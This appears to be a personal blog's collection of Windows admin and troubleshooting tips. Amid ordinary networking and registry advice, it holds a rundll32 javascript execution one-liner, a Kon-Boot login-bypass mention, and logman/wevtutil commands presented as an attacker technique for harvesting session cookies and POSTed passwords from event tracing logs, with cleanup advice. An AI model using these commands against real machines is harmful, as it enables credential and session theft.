rundll32 + javascript + calc

Got this from a friend.

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write("\74script language=jscript.encode>"+(new%20ActiveXObject("WScript.Shell")).Run("calc.exe")+"\74/script>")

start calc.exe

Quick Switch in Windows 7

If you found that the new Windows 7 feature (popup previews for all the same windows) is irritating, here is the trick: hold down the ctrl key while you click the button, you will immediately be taken to the last window of that type that you had open.

Bypass Windows Login

Heard of Kon-Boot?

It is an application which will silently bypass the authentication process of Windows based operating systems. Without overwriting your old password! Easy to use and excellent for tech repairs, data recovery and security audits.

Currently, Kon-boot supports following operating systems:

• Microsoft Windows XP 32Bit/64Bit (all versions since SP2) 
• Microsoft Windows Server 2003 32Bit/64Bit (all versions) 
• Microsoft Windows Server 2008 32Bit/64Bit (all versions) 
• Microsoft Windows Vista 32Bit/64Bit (all versions) 
• Microsoft Windows 7 32Bit/64Bit (all versions including EFI) 
• Microsoft Windows 8 32Bit/64Bit (all versions including EFI, local authorization only) 

Black Screen when Remote Desktop Connection (RDC)

This morning, I connect to my remote server (windows 7 64-bit) via RDC (Remote Desktop Connection) as usual (after VPN authentication). And I get a "blank/black screen" after I key my login credential.

After a Google search, I found the solution to this. In case you have the similar issue, just hit Ctrl-Alt-End on the black screen to bring the Task Manager up. Problem solved!!

Unicode Filename in Windows 7

Today, out of sudden, my Windows 7 seems does not display unicode filename anymore in Windows Explorer. It doesn't help even I reboot my laptop multiple times.

After searching on the web, it seems like to solution is simple.

1. Goto c:\windows\fonts
2. Right click on the "Ming Liu" font and choose "Show".
3. Reboot.

In order to prevent it happens again in the future:

• From "Start", type "control" to open the "Control Panel".
• At the top-right search box, type "fonts".
• Choose "View installed fonts".
• At the left pane, choose "Font settings".
• Uncheck "Hide fonts based on language settings".

Data Mining Event Tracing for Windows 3

This is continue from the previous 2 posts.

The netsh utility has an interface to enable/disable event tracing for all providers that participate in a given "Scenario". You can tell it you want to use "All" scenarios which enables logging for a large number of providers at the same time.

To start/stop the trace session:

C:\temp>netsh trace start scenario=all tracefile=FIREEVERYTHING2.etl capture=yes correlation=yes
Trace configuration:-------------------------------------------------------------------Status:             RunningTrace File:         FIREEVERYTHING2.etlAppend:             OffCircular:           OnMax Size:           250 MBReport:             Off

C:\temp>netsh trace stopCorrelating traces ... doneGenerating data collection ... doneThe trace file and additional troubleshooting information have been compiled as "C:\temp\FIREEVERYTHING2.cab".File location = C:\temp\FIREEVERYTHING2.etlTracing session was successfully stopped.

The netsh utility correlates "like events" and generates several log file and reports containing some interesting data.

As expected we have our "FIREEVERYTHING2.etl" file that we can query with wevtutil.exe. This file will have the information recorded from by multiple providers and has all kinds of interesting data in it. But there is also a .CAB file that is worth checking out.

To check on human readable content:

C:\temp>wevtutil qe FIREEVERYTHING2.etl /lf:True /f:Text | more

Here is an example of searching for the "passwd" field in a gmail.com POST with and without the /f:Text option. With /f:Text it finds zero occurrence, but without it finds two.

C:\temp>wevtutil qe FIREEVERYTHING2.etl /lf:True /f:Text | find /c /i "passwd"0C:\temp>wevtutil qe FIREEVERYTHING2.etl /lf:True | find /c /i "passwd"2

These logs are not just recording actions taken by built in programs like Internet Explorer. Any third party tools that rely on the ETW enabled APIs will also have their information recorded. So fire up the logging and go on a little treasure hunt!

Data Mining Event Tracing for Windows 2

This is continue from the previous post.

The logman utility can allow us to peer into and established SSL session and steal active session cookies after you have shell on a box.

If you do able to sniff the administrator credential, then you can evenenable logging on a remote host using "logman -s <computername>".

The Microsoft-Window-WinInet is only 1 of the providers that you can turn on the logging. To check the full list of providers in your computer, you can:
c:\temp>logman query providers > listofproviders.txt

C:\temp>type listofproviders.txt | find /c "{"
643


This means there are total of 643 providers available in my computer.

Data Mining Event Tracing for Windows

>>>> From http://pauldotcom.com/wiki/index.php/Episode300

This is to show how to tap into the data logged by Windows Communication Foundation (WCF) and fed to Event Tracing for Windows (ETW).

The ETW Provider logs excesive amounts of information that may give an attacker access to sensitive data. By tapping into these otherwise silent logging mechnisms an attacker can find all kinds of useful information.

Below is an example to show "Sidejacking SSL Cookies". You can steal the cookies within the encrypted SSL session.

First, turn on the Event Tracing for WinInet.

c:\>cd \tempc:\temp>logman start CookieStealer -p Microsoft-Windows-WinInet -o cookiesteal.etl -ets

From now on, all the WinInet connections and SSL sessions are logged.

To check the cookies:

c:\temp>wevtutil qe c:\temp\cookiesteal.etl /lf:true /f:Text | find /i "cookie added"

To check the POST info (including password):

c:\temp>wevtutil qe c:\temp\cookiesteal.etl /lf:true /f:Text | find /i "POST"

To check some additional reconnaissance:

c:\temp>wevtutil qe c:\temp\cookiesteal.etl /lf:true /f:Text | find /i "hostname"c:\temp>wevtutil qe c:\temp\cookiesteal.etl /lf:true /f:Text | find /i "WPAD"c:\temp>wevtutil qe c:\temp\cookiesteal.etl /lf:true /f:Text | find /i "DNS Cache"

To turn off your Event logging:

c:\temp>logman stop CookieStealer -ets

And remember to remove your "cookiesteal.etl" file.

Change IP Address and DNS settings

I've shown how to add multiple IP addresses in Windows 7 before. Today, let's go back to basic.

Set a static IP address on NIC:
netsh interface ip set address name=”Local Area Connection” static 192.168.1.100 255.255.255.0 192.168.1.1


Set to DHCP:
netsh interface ip set address name=”Local Area Connection” source=dhcp


Set the primary DNS and secondary DNS settings:
netsh interface ip set dns name=”Local Area Connection” static 192.168.1.1
netsh interface ip add dns name=”Local Area Connection” 8.8.8.8 index=2


Set the DNS setting to DHCP:
netsh interface ip set dnsservers name=”Local Area Connection” source=dhcp

Multiple IP Addresses with Windows OS

Here's the batch script to help configure multiple IPv4 addresses on a Windows 7 or Windows 2008. Create a batch file like the below:

netsh in ip add address "eth0" 10.0.0.2 255.0.0.0
netsh in ip add address "eth0" 10.0.0.3 255.0.0.0
netsh in ip add address "eth0" 10.0.0.4 255.0.0.0
netsh in ip add address "eth0" 10.0.0.5 255.0.0.0
netsh in ip add address "eth0" 10.0.0.6 255.0.0.0
[...]
netsh in ip add address "eth0" 10.0.0.226 255.0.0.0

Or just do a command like:

for  /L %a in (1,1,254) do netsh in ip add address "eth0" 10.0.0.%a 255.255.255.0

Resize Columns in Explorer

You may already know how to resize a single column in Explorer (or Excel). 

Do you know how to resize all columns the quick way? 

Ctrl and Numpad +

Speed Up SATA Hard Disk Performance with AHCI

The Advanced Host Controller Interface(AHCI) will speed up read and write operations of the hard drive if the hard drive supports AHCI.


AHCI includs a PCI BAR (base address register) to achieve the native SATA function. As the AHCI successfully develops a unified interface,allow the Serial ATA product development work greatly simplified. It can achieve a number of features including NCQ (Native Command Queuing).

This is a tip to enable AHCI at the boot level to speed up the performance of your SATA disk.

1. Start your registry with "regedit".
2. Browse to the "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Msahci"
3. Locate the parameter "Start" on the right side.
4. Double click it to change its value from 3 to 0.
5. Restart the computer.

Show XP Network Connection Tray Icon in Windows 7

If you are like me, prefer to get back the XP network connection tray icon to the Windows 7 tray icon, then follow this tip.


Just download Network Activity Indicator, and install it, you should see a new network connection tray icon. Right click it to choose the "Settings", and you can set the following if you want:

• Display (blink) TCP/UDP/ICMP traffic.
• Use Vista style icon.
• Load at Windows Startup.

Fix Slow Network Copy in Windows 7

TCP Task offloading to Network Interface Card (NIC) means transferring certain tasks such as Checksum calculation on Header or data Tunnel Encryption and so on from system processor to NIC. This boots the performance of the system as the processor is freed from the overhead of such tasks.

Disable it may help to you fixed slow network copy and connection drops in windows 7. There are 2 ways to set this setting.

• Start "cmd" in "Administrator mode".
• Run the following command to check the enabled offload tasks.

C:\Windows\system32> netsh int ip show offload

• Run the following command to disable all Task offloads.

C:\Windows\system32> netsh int ip set global taskoffload=disabled

• If it displays "OK" means you have disabled all the offloads.
• Disable the NIC and Re-enable it to refresh the setting.

Another way to disable it is via Registry.

• Start "regedit"
• Browse to "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters"
• Create or select the "DisableTaskOffload" (DWORD) and set it to:

1 : Disable task offload.

0 : Enable task offload.

How to Bridge Windows Virtual PC (Windows 7) to use Host Computer Wireless Network

If you are using Windows Virtual PC in Windows 7, you may notice that the Windows Virtual PC is different than the Virtual PC 2007, because it can't use the host computer wireless connection for bridging. This problem can be easily solved by switching VMware player/workstation/server.

If you are looking for the solution for your Virtual PC 2007, see here. Here, I'll show you how I hack Windows 7 to make this work in wireless network.

1. Create and start wireless hosted network in Windows 7. See the detail here.
2. Enable (host) wireless adapter to allow ICS for MS Virtual WiFi Miniport Adapter. See the detail here if it is disable by network administrator.
3. At your Virtual PC, Set "Networking Adapter" to use "Microsoft Virtual WiFi Miniport Adapter".

Now, your Virtual PC should start getting a new IP address from DHCP, and should be connecting to network like using the wired network (Ethernet).

How to start System Privilege cmd.exe

In Windows 7, there is an easy way to start a command prompt with "NT Authority\System" privilege from a administrator account. This was used to be easy in the past.

To do so, from an administrator's command prompt, type "psexec -i -s powershell.exe". PSExec is a utility downloaded from SysInternal at Microsoft.

cmd.exe with System privilege

Create Wireless Hosted Networks in Windows 7

This new feature, wireless Hosted Network, is introduced by Microsoft in Windows 7 and Windows Server 2008 R2.

The wireless Hosted Network feature uses the VirtualWiFi technology along with a software-based virtual access point (Virtual AP) feature. It allows the creation of wireless AP with a supported Wi-Fi adapter and driver, while also having the ability to connect to another wireless network. It also includes a DHCP server, so users automatically receive an IP address.

Pre-requisites:

• Supported WiFi adapter
• Using certified WiFi drivers for Windows 7. 

You can check this by looing at the network connection (detail mode). You should see an adapter called Wireless Network Connection that using Microsoft Virtual WiFi Miniport Adapter.

Follow the steps below:

• Start "cmd" in "Administrator mode".
• To create the hosted network:

netsh wlan set hostednetwork mode=allow ssid=[Your-AP-Network]  key=[Your-WPA2-PSK-AES-Password]

• Replace the SSID and key placeholders with your desired network name and WPA2-PSK encryption key. Note that Microsoft requires all wireless Hosted Networks to use WPA2-PSK (AES) encryption. 
• Optional. If you want to allow Internet access for other users, enable ICS. See how to enable ICS here if it is disabled.
• To start/enable the Hosted Network:

netsh wlan start hostednetwork

• Optional. To manually turn the Hosted Network off, enter the following:

netsh wlan stop hostednetwork

• Optional. To see the Hosted Network details (see Figure 3), including the MAC addresses of connected users, enter the following:

netsh wlan show hostednetwork

• Optional. To change the WPA2-PSK key, you can enter the following:

netsh wlan refresh hostednetwork [New-WPA2-PSK-AES-Password]

Now others should see the Hosted Network appear in their list of available wireless networks. They can connect like normal and enter the encryption key when prompted.

Keep in mind that wireless Hosted Networks do not automatically restart after the computer resumes from sleep, hibernate, or restarts. However, if used, a third-party, such as Connectify, utility might initiate a reconnection.

Install Loopback Adapter in Windows 7

The Microsoft Loopback adapter is a testing tool for a virtual network environment where network access is not available. You can bind network clients, protocols, and other network configuration items to the Loopback adapter, and you can install the network adapter driver or network adapter later while retaining the network configuration information.

To install a Microsoft Loopback adapter in WIndows 7:

• Start "cmd" in "Administrator mode”
• From the command prompt, run “hdwwiz.exe“. This should launch the “Add Hardware Wizard“. Click Next.
• Select “Install the hardware that I manually select from a list (Advanced)” and click Next.
• Now from the list select Network Adapters and click Next.
• Under Manufacturers, select Microsoft and select “Microsoft Loopback Adapter” under Network Adapter and click Next. This should start the installation. 
• Click Finish when the installation completes.

To confirm the loopback adapter installed, right-click Computer, select properties. Click Device Manager and expand Network Adapters and you can see the Loopback adapter installed there.

Enable ICS in Windows 7

To enable ICS, navigate through the Control Panel or Network and Sharing Center to bring up the Network Connections window.

Then right-click the network adapter that’s connected to the Internet and select Properties. Then select the Sharing tab, check the Allow other network users to connect through this computer’s Internet connection, choose the Hosted Network Connection from the drop-down listbox, and click OK.

Sometimes, at the Properties's Sharing tab (of the network adapter), it says "Internet Connection Sharing has been disabled by the Network Administrator". To enable ICS, you will have to do the following:

• Start "gpedit.msc"
• Browse to "Computer Configuration\Administrative Templates\Network\Network Connections"
• Set to Disable for "Prohibit use of Internet Connection Sharing on your DNS domain network".
• Set to Disable for "Prohibit installation and configuration of Network Bridge on your DNS domain network"

GodMode ???

See more on Create an All-Inclusive Control Panel Shortcut in Windows 7 [Windows Tip]: "

If you're a tech news follower, you might have seen this listed recently as a 'GodMode' explorer hack. But that is, as Ed Bott points out, kind of ridiculous. It's merely a kind of back-alley way of creating a shortcut, using a specialized identifier name, to present a search results list showing everything available in the Control Panel.

Anyway, here's a handy step-by-step on creating "MySEQ" mode. If you're handy with Windows, all you have to do is right-click on the desktop or in a folder, choose New->Folder, and give the new item something like this name:

MySEQ.{ED7BA470-8E54-465E-825C-99712043E01C}

Feel free, to replace 'MySEQ' with 'GodMode' or whatever self-aggrandizing shortcut name you'd like.
Note: I only tested this on Windows 7 (32-bit)— other versions of Windows may produce unsavory results.